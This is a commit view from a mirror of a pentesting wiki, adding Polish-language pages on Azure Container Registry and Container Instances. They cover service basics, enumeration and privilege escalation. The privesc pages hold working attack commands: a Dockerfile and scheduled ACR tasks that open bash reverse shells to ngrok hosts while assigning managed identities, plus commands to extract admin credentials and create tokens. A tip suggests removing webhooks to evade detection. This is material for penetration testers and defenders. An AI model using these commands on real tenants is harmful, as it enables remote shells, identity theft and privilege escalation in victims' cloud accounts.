mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+8
-4
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
+64
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Te uprawnienia pozwalają użytkownikowi na **wykonanie polecenia** w działającym kontenerze. Może to być użyte do **eskalacji uprawnień** w kontenerze, jeśli ma on przypisaną jakąkolwiek tożsamość zarządzaną. Oczywiście, możliwe jest również uzyskanie dostępu do kodu źródłowego i wszelkich innych wrażliwych informacji przechowywanych wewnątrz kontenera.
|
||||
|
||||
Aby wykonać `ls` i uzyskać wynik, wystarczy:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
Możliwe jest również **odczytanie wyjścia** kontenera za pomocą:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Lub uzyskaj logi za pomocą:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Te uprawnienia pozwalają na **przypisanie zarządzanej tożsamości użytkownika** do grupy kontenerów. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
|
||||
|
||||
Aby przypisać zarządzaną tożsamość użytkownika do grupy kontenerów:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Te uprawnienia pozwalają na **tworzenie lub aktualizowanie grupy kontenerów** z **przypisaną tożsamością zarządzaną przez użytkownika**. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Ponadto możliwe jest również zaktualizowanie istniejącej grupy kontenerów, dodając na przykład argument **`--command-line`** z odwrotnym powłoką.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
To uprawnienie pozwala użytkownikowi na wylistowanie danych uwierzytelniających administratora ACR. Jest to przydatne do **uzyskania pełnego dostępu** do rejestru.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
W przypadku, gdy poświadczenia administratora nie są włączone, będziesz również potrzebować uprawnienia `Microsoft.ContainerRegistry/registries/write`, aby je włączyć za pomocą:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
Te uprawnienia pozwalają użytkownikowi na **utworzenie nowego tokena** z hasłami do uzyskania dostępu do rejestru.
|
||||
|
||||
Aby użyć `az cli` do jego wygenerowania, jak w poniższym przykładzie, będziesz również potrzebować uprawnień `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
Te uprawnienia pozwalają użytkownikowi na **budowanie i uruchamianie obrazu** w rejestrze. Może to być użyte do **wykonywania kodu** w kontenerze.
|
||||
|
||||
>[!WARNING]
|
||||
> Jednak obraz będzie wykonywany w **piaskownicy** i **bez dostępu do usługi metadanych**. Oznacza to, że kontener nie będzie miał dostępu do **metadanych instancji**, więc to nie jest naprawdę przydatne do eskalacji uprawnień.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
To jest główne uprawnienie, które pozwala na tworzenie i aktualizowanie zadania w rejestrze. Może być używane do **wykonywania kodu wewnątrz kontenera z przypisaną do niego zarządzaną tożsamością** w kontenerze.
|
||||
|
||||
Oto przykład, jak wykonać powłokę reverse w kontenerze z **zarządzaną przez system** tożsamością przypisaną do niego:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Innym sposobem na uzyskanie RCE z zadania bez użycia zewnętrznego repozytorium jest użycie polecenia `az acr task create` z flagą `--cmd`. To pozwoli ci uruchomić polecenie w kontenerze. Na przykład, możesz uruchomić powłokę odwrotną za pomocą następującego polecenia:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> Zauważ, że aby przypisać tożsamość zarządzaną przez system, nie potrzebujesz żadnych specjalnych uprawnień, chociaż musi ona być wcześniej włączona w rejestrze i przypisane muszą być jej jakieś uprawnienia, aby była użyteczna.
|
||||
|
||||
Aby przypisać **tożsamość zarządzaną przez użytkownika**, potrzebujesz również uprawnienia `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, aby to zrobić:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Aby **zaktualizować** repozytorium istniejącego zadania, możesz to zrobić:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zaimportowanie obrazu do rejestru azure**, nawet bez posiadania obrazu lokalnie. Należy jednak pamiętać, że **nie można zaimportować obrazu z tagiem**, który już istnieje w rejestrze.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
Aby **usunąć lub usunąć konkretny tag obrazu** z rejestru, możesz użyć następującego polecenia. Należy jednak pamiętać, że będziesz potrzebować użytkownika lub tokena z **odpowiednimi uprawnieniami**, aby to zrobić:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure Container Instances (ACI) zapewniają **bezserwerowy, na żądanie sposób** uruchamiania **kontenerów** w chmurze Azure. Możesz **wdrożyć** pojedyncze lub wiele kontenerów w grupie z **skalowalnym obliczeniem**, **opcje sieciowe** oraz elastycznością w łączeniu z **innymi usługami Azure** (takimi jak Storage, Virtual Networks lub Container Registries).
|
||||
|
||||
Ponieważ są to **efemeryczne** obciążenia, nie musisz zarządzać podstawową infrastrukturą VM — Azure zajmuje się tym za Ciebie. Jednak z **ofensywnej perspektywy bezpieczeństwa** kluczowe jest zrozumienie, jak **uprawnienia**, **tożsamości**, **konfiguracje sieciowe** i **logi** mogą ujawniać powierzchnie ataku i potencjalne błędy w konfiguracji.
|
||||
|
||||
### Konfiguracje
|
||||
|
||||
- Aby utworzyć kontener, można użyć publicznego obrazu, obrazu kontenera z Azure Container Registry lub zewnętrznego repozytorium, co może **wymagać skonfigurowania hasła** do uzyskania dostępu.
|
||||
- Jeśli chodzi o sieć, może mieć również **publiczny adres IP** lub być **prywatnymi punktami końcowymi**.
|
||||
- Możliwe jest również skonfigurowanie wspólnych ustawień dockera, takich jak:
|
||||
- **Zmienne środowiskowe**
|
||||
- **Wolumeny** (nawet z Azure Files)
|
||||
- **Porty**
|
||||
- **Limity CPU i pamięci**
|
||||
- **Polityka ponownego uruchamiania**
|
||||
- **Uruchom jako uprzywilejowany**
|
||||
- **Linia poleceń do uruchomienia**
|
||||
- ...
|
||||
|
||||
|
||||
## Enumeracja
|
||||
|
||||
> [!WARNING]
|
||||
> Podczas enumeracji ACI możesz ujawnić wrażliwe konfiguracje, takie jak **zmienne środowiskowe**, **szczegóły sieci** lub **zarządzane tożsamości**. Bądź ostrożny przy logowaniu lub wyświetlaniu ich.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure Container Registry (ACR) to bezpieczny, prywatny rejestr, który pozwala na **przechowywanie, zarządzanie i uzyskiwanie dostępu do obrazów kontenerów w chmurze Azure**. Integruje się bezproblemowo z wieloma usługami Azure, zapewniając zautomatyzowane procesy budowy i wdrażania na dużą skalę. Dzięki funkcjom takim jak geo-replikacja i skanowanie podatności, ACR pomaga zapewnić bezpieczeństwo i zgodność na poziomie przedsiębiorstwa dla aplikacji kontenerowych.
|
||||
|
||||
### Uprawnienia
|
||||
|
||||
To są **różne uprawnienia** [zgodnie z dokumentacją](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), które można przyznać w rejestrze kontenerów:
|
||||
|
||||
- Dostęp do Resource Manager
|
||||
- Tworzenie/usuwanie rejestru
|
||||
- Wysyłanie obrazu
|
||||
- Pobieranie obrazu
|
||||
- Usuwanie danych obrazu
|
||||
- Zmiana polityk
|
||||
- Podpisywanie obrazów
|
||||
|
||||
Istnieją również **wbudowane role**, które można przypisać, a także możliwe jest tworzenie **niestandardowych ról**.
|
||||
|
||||

|
||||
|
||||
### Uwierzytelnianie
|
||||
|
||||
> [!WARNING]
|
||||
> Bardzo ważne jest, aby nawet jeśli nazwa rejestru zawiera wielkie litery, zawsze używać **małych liter** do logowania, wysyłania i pobierania obrazów.
|
||||
|
||||
Istnieją 4 sposoby uwierzytelniania w ACR:
|
||||
|
||||
- **Z Entra ID**: To jest **domyślny** sposób uwierzytelniania w ACR. Używa polecenia **`az acr login`** do uwierzytelnienia w ACR. To polecenie **zapisze dane uwierzytelniające** w pliku **`~/.docker/config.json`**. Ponadto, jeśli uruchamiasz to polecenie z środowiska bez dostępu do gniazda dockera, jak w **cloud shell**, możliwe jest użycie flagi **`--expose-token`** do uzyskania **tokena** do uwierzytelnienia w ACR. Następnie, aby się uwierzytelnić, musisz użyć jako nazwy użytkownika `00000000-0000-0000-0000-000000000000`, jak: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Z kontem administratora**: Użytkownik administratora jest domyślnie wyłączony, ale można go włączyć, a następnie będzie możliwe uzyskanie dostępu do rejestru za pomocą **nazwa użytkownika** i **hasła** konta administratora z pełnymi uprawnieniami do rejestru. To wciąż jest wspierane, ponieważ niektóre usługi Azure z tego korzystają. Zauważ, że dla tego użytkownika tworzone są **2 hasła** i oba są ważne. Możesz to włączyć za pomocą `az acr update -n <acrName> --admin-enabled true`. Zauważ, że nazwa użytkownika to zazwyczaj nazwa rejestru (a nie `admin`).
|
||||
- **Z tokenem**: Możliwe jest utworzenie **tokena** z **konkretną mapą zakresu** (uprawnienia) do uzyskania dostępu do rejestru. Następnie można użyć tej nazwy tokena jako nazwy użytkownika i jednego z wygenerowanych haseł do uwierzytelnienia w rejestrze za pomocą `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **Z Service Principal**: Możliwe jest utworzenie **service principal** i przypisanie roli, takiej jak **`AcrPull`**, do pobierania obrazów. Następnie będzie możliwe **zalogowanie się do rejestru** używając appId SP jako nazwy użytkownika i wygenerowanego sekretu jako hasła.
|
||||
|
||||
Przykładowy skrypt z [dokumentacji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) do wygenerowania SP z dostępem do rejestru:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Szyfrowanie
|
||||
|
||||
Tylko **Premium SKU** obsługuje **szyfrowanie w spoczynku** dla obrazów i innych artefaktów.
|
||||
|
||||
### Sieć
|
||||
|
||||
Tylko **Premium SKU** obsługuje **prywatne punkty końcowe**. Pozostałe obsługują tylko **publiczny dostęp**. Publiczny punkt końcowy ma format `<registry-name>.azurecr.io`, a prywatny punkt końcowy ma format `<registry-name>.privatelink.azurecr.io`. Z tego powodu nazwa rejestru musi być unikalna w całym Azure.
|
||||
|
||||
### Microsoft Defender dla Chmury
|
||||
|
||||
To pozwala na **skanowanie obrazów** w rejestrze pod kątem **luk**.
|
||||
|
||||
### Miękkie usuwanie
|
||||
|
||||
Funkcja **miękkiego usuwania** pozwala na **odzyskanie usuniętego rejestru** w ciągu wskazanej liczby dni. Ta funkcja jest **domyślnie wyłączona**.
|
||||
|
||||
### Webhooki
|
||||
|
||||
Możliwe jest **tworzenie webhooków** wewnątrz rejestrów. W tym webhooku należy określić URL, na który **żądanie będzie wysyłane za każdym razem, gdy wykonana zostanie akcja push lub delete**. Ponadto, Webhooki mogą wskazywać zakres, aby określić repozytoria (obrazy), które będą dotknięte. Na przykład, 'foo:*' oznacza zdarzenia w repozytorium 'foo'.
|
||||
|
||||
Z perspektywy atakującego interesujące jest sprawdzenie tego **przed wykonaniem jakiejkolwiek akcji** w rejestrze i tymczasowe usunięcie go, jeśli to konieczne, aby uniknąć wykrycia.
|
||||
|
||||
### Połączone rejestry
|
||||
|
||||
To zasadniczo pozwala na **lustrację obrazów** z jednego rejestru do drugiego, zazwyczaj zlokalizowanego lokalnie.
|
||||
|
||||
Ma 2 tryby: **ReadOnly** i **ReadWrite**. W pierwszym obrazy są tylko **pobierane** z rejestru źródłowego, a w drugim obrazy mogą być również **wysyłane** do rejestru źródłowego.
|
||||
|
||||
Aby klienci mogli uzyskać dostęp do rejestru z Azure, generowany jest **token**, gdy używany jest połączony rejestr.
|
||||
|
||||
### Uruchomienia i Zadania
|
||||
|
||||
Uruchomienia i Zadania pozwalają na wykonywanie w Azure działań związanych z kontenerami, które zazwyczaj trzeba było wykonywać lokalnie lub w pipeline CI/CD. Na przykład, możesz **budować, wysyłać i uruchamiać obrazy w rejestrze**.
|
||||
|
||||
Najłatwiejszym sposobem na zbudowanie i uruchomienie kontenera jest użycie zwykłego Uruchomienia:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Jednak to wywoła uruchomienia, które nie są zbyt interesujące z perspektywy atakującego, ponieważ nie mają do nich przypisanej żadnej zarządzanej tożsamości.
|
||||
|
||||
Jednak **zadania** mogą mieć przypisaną **systemową i użytkownika zarządzaną tożsamość**. Te zadania są przydatne do **eskalacji uprawnień** w kontenerze. W sekcji eskalacji uprawnień można zobaczyć, jak używać zadań do eskalacji uprawnień.
|
||||
|
||||
### Cache
|
||||
|
||||
Funkcja cache pozwala na **pobieranie obrazów z zewnętrznego repozytorium** i przechowywanie nowych wersji w rejestrze. Wymaga to skonfigurowania pewnych **poświadczeń** poprzez wybór poświadczeń z Azure Vault.
|
||||
|
||||
To jest bardzo interesujące z perspektywy atakującego, ponieważ pozwala na **przejście do zewnętrznej platformy**, jeśli atakujący ma wystarczające uprawnienia do uzyskania dostępu do poświadczeń, **pobieranie obrazów z zewnętrznego repozytorium** i konfigurowanie cache może być również użyte jako **mechanizm utrzymywania dostępu**.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> Bardzo ważne jest, aby nawet jeśli nazwa rejestru zawiera wielkie litery, należy używać tylko małych liter w adresie URL, aby uzyskać do niego dostęp.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Eskalacja Uprawnień i Po Eksploatacji
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user